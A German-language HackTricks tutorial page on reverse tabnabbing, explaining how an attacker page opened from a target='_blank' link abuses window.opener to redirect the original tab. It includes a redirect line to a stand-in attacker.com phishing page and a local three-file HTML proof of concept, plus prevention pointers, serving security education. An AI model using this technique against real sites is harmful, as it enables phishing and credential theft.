tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Beschreibung
In einer Situation, in der ein Angreifer das href
-Argument eines <a
-Tags mit dem Attribut target="_blank" rel="opener"
kontrollieren kann, das von einem Opfer angeklickt werden soll, kann der Angreifer diesen Link auf eine von ihm kontrollierte Webseite (eine bösartige Website) verweisen. Sobald das Opfer auf den Link klickt und die Webseite des Angreifers aufruft, wird diese bösartige Website in der Lage sein, die ursprüngliche Seite über das JavaScript-Objekt window.opener
zu kontrollieren.
Wenn die Seite rel="opener"
nicht hat, aber target="_blank"
enthält und auch kein rel="noopener"
hat, könnte sie ebenfalls anfällig sein.
Eine gängige Methode, dieses Verhalten auszunutzen, wäre, die Position der ursprünglichen Webseite über window.opener.location = https://attacker.com/victim.html
auf eine vom Angreifer kontrollierte Webseite zu ändern, die wie die ursprüngliche aussieht, sodass sie das Anmeldeformular der ursprünglichen Website imitieren und den Benutzer nach Anmeldeinformationen fragen kann.
Beachten Sie jedoch, dass der Angreifer nun das Fensterobjekt der ursprünglichen Website kontrollieren kann und es auf andere Weise ausnutzen kann, um heimlichere Angriffe durchzuführen (vielleicht JavaScript-Ereignisse zu modifizieren, um Informationen an einen von ihm kontrollierten Server zu exfiltrieren?)
Übersicht
Mit Rücklink
Link zwischen Eltern- und Kindseiten, wenn das Präventionsattribut nicht verwendet wird:
Ohne Rücklink
Link zwischen Eltern- und Kindseiten, wenn das Präventionsattribut verwendet wird:
Beispiele
Erstellen Sie die folgenden Seiten in einem Ordner und führen Sie einen Webserver mit python3 -m http.server
aus.
Dann greifen Sie auf http://127.0.0.1:8000/
vulnerable.html zu, klicken Sie auf den Link und beachten Sie, wie sich die URL der ursprünglichen Website ändert.
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
Zugängliche Eigenschaften
In dem Szenario, in dem ein cross-origin Zugriff erfolgt (Zugriff über verschiedene Domains), sind die Eigenschaften der window JavaScript-Klasseninstanz, auf die durch die opener JavaScript-Objektreferenz zugegriffen wird, die von einer böswilligen Seite zugänglich sind, auf Folgendes beschränkt:
opener.closed
: Diese Eigenschaft wird verwendet, um festzustellen, ob ein Fenster geschlossen wurde, und gibt einen booleschen Wert zurück.opener.frames
: Diese Eigenschaft bietet Zugriff auf alle iframe-Elemente im aktuellen Fenster.opener.length
: Die Anzahl der im aktuellen Fenster vorhandenen iframe-Elemente wird durch diese Eigenschaft zurückgegeben.opener.opener
: Eine Referenz auf das Fenster, das das aktuelle Fenster geöffnet hat, kann durch diese Eigenschaft erhalten werden.opener.parent
: Diese Eigenschaft gibt das übergeordnete Fenster des aktuellen Fensters zurück.opener.self
: Zugriff auf das aktuelle Fenster selbst wird durch diese Eigenschaft bereitgestellt.opener.top
: Diese Eigenschaft gibt das oberste Browserfenster zurück.
In Fällen, in denen die Domains identisch sind, erhält die böswillige Seite jedoch Zugriff auf alle Eigenschaften, die durch die window JavaScript-Objektreferenz exponiert werden.
Prävention
Präventionsinformationen sind im HTML5 Cheat Sheet dokumentiert.
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.